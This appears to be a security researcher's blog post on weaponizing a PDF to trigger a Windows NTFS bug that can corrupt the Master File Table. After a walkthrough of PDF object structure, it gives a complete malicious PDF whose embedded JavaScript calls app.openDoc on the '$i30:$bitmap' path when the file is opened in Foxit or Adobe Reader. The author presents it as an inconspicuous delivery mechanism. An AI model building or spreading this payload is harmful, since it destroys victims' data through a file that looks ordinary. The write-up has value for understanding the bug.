Introduction

A few weeks ago security researcher Jonas L warned about a critical bug in the Windows NTFS driver which could cause the MFT (Master File Table) to be corrupted.

It seems that most of the time you will easily recover, but in some situations chkdsk won't be able to recover the corrupted MFT.
This can obviously cause huge problems, possibly resulting in the loss of important data.

As I was playing around with this bug I thought about different ways we could trigger the vulnerability and how we could weaponize different file types.
There's already a few possibilites discovered by different researchers, such as:

  • Shortcut file (.url)
  • HTML (same-origin policy would likely block this from beeing exploited remotely, but can possibly be bypassed)
  • ZIP archives

I decided to manually create a PDF file for my delivery mechanism, as this file type is really common and no one would really think twice about opening this kind of file.
Also, this way I could learn a bit more about the PDF file structure.

NOTE: This technique won't work when the PDF file is opened using a browser (Chrome, Firefox, Edge etc).
This is because of the limited JavaScript API available when opening a PDF file in a browser.


I have successfully tested the malicious PDF against the following PDF Readers:

  • Foxit Reader
  • Adobe Acrobat Reader DC

Other PDF Readers are probably affected as well, as long as they implement the JavaScript method opendoc() from the Adobe JavaScript API.

PDF Structure

A PDF contains objects that are organized in a tree structure where each node represents an object.
Each object then again represents one of multiple object types defined in the PDF standard. This can be strings, arrays, streams etc.

The structure of a PDF file can be seen below:

The header specifies the PDF version. This can be something like %PDF-1.3 which means PDF version 3.

After the header we have a list of objects, each object referencing a different object (tree structure):


Example PDF source code:

1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
>>
endobj

2 0 obj
<<
/Type /Pages
/Count 2
/Kids [3 0 R]
>>
endobj

In the example above the first object 1 0 obj is of type Catalog, and information about the different pages in the PDF can be found at object 2 0 obj, pointed to by /Pages 2 0 R.

It's also worth mentioning that the trailer of the PDF file defines where to find the root object:

trailer
<<
/Size 9
/Root 1 0 R
>> 

/Root 1 0 R says that the root is 1 0 obj - the first object in our PDF.

The following code is an example of a fully functional PDF file with 2 pages, containing the string "Hello, World!".

%PDF-1.4 # <-- PDF header

1 0 obj # <-- First object (root)
<<
/Type /Catalog # <-- Object is of type Catalog
/Pages 2 0 R # <-- Points to the object where information about pages is found (2 0 obj)
>>
endobj

2 0 obj # <-- Second object
<<
/Type /Pages # <-- Object is of type Pages
/Count 2 # <-- Number of pages in the PDF: 2
/Kids [3 0 R] # <-- Points to the child page-tree nodes of this node (3 0 obj)
>>
endobj

3 0 obj # <-- Third object
<<
/Type /Page # <-- Is of type Page
/Parent 2 0 R # <-- The parent node of this node in the page tree is 2 0 obj
/Resources 5 0 R # <-- References the object that contains resources (fonts etc.) (5 0 obj)
/MediaBox [0 0 612 792] # <-- The page’s media box (the size of its media, i.e., paper). For most purposes, the page size
/Contents 4 0 R # <-- Points to the object that contains the contents to be displayed (4 0 obj)
>>
endobj

4 0 obj # <-- Fourth object
<< /Length 45 >> # <-- How many bytes of the PDF file are used for the stream’s data
stream # <-- Defines a stream that will contain "Hello, World!"
BT /F1 24 Tf 250 700 Td (Hello, World!) Tj ET # <-- String to be displayed
endstream
endobj

5 0 obj # <-- Fifth object
<<
/Font << /F1 6 0 R >> # <-- Defines a font mapping referencing the object that contains font information (6 0 obj)
>>
endobj

6 0 obj # <-- Sixth object
<<
/Type /Font # <-- Object is of type Font
/Subtype /Type1
/BaseFont /Helvetica # <-- Setup the font type
>> 
endobj

trailer # <-- Trailer of the PDF file
<<
/Root 1 0 R # <-- Points to the root object of the PDF (1 0 obj)
>>

%%EOF # <-- End Of File

For more information about the PDF structure you can read the documentation from Adobe, which goes more in depth about the structure, the different object types etc.

Malicious PDF

Since we're utilizing the JavaScript API to trigger this vulnerability, we first need to verify that we're able to embed JavaScript into our PDF file. Luckily this is pretty easy.

All we need to do is add a few more objects and a reference in our root object to the new JavaScript object.
The three new objects we need is:

7 0 obj
<<
/JavaScript 8 0 R # <-- Points to our JavaScript object (8 0 obj)
>>
endobj

8 0 obj
<<
/Names [() 9 0 R] # <-- /Names dictionary where our JavaScript will be placed, referencing 9 0 obj
>>
endobj

9 0 obj
<<
/JS # <-- The start of our JavaScript code block
(
app.alert("Hello, World!"); # <-- JavaScript code
)
/S /JavaScript
>>
endobj

We also need to update our root object with a new reference to 7 0 obj. This is as simple as adding a /Names tag:

1 0 obj
<<
/Type /Catalog
/Pages 2 0 R
/Names 7 0 R # <-- /Names dictionary referencing our JavaScript object (7 0 obj)
>>
endobj

We now have a fully functional PDF file that display an alert box whenever the file is opened.

Now that we have confirmed that our JavaScript code is being executed, we need to find a way to trigger the vulnerability.

After reading through the "JavaScript for Acrobat API Reference" I found a method that would work: opendoc().

opendoc()
Opens a specified PDF document and returns its Doc object. This object can be used by the script to call methods, or to get or set properties in the newly opened document.

We obviously won't be opening a PDF document, but as long as the script tries to access the $i30 attribute we should be able to trigger the vulnerability and possibly corrupt the MFT.

If we modify our JavaScript object with the following changes, the vulnerability should be triggered when the PDF file is opened.

9 0 obj
<<
/JS 
(
app.openDoc("/C/:$i30:$bitmap");
)
/S /JavaScript
>>
endobj

References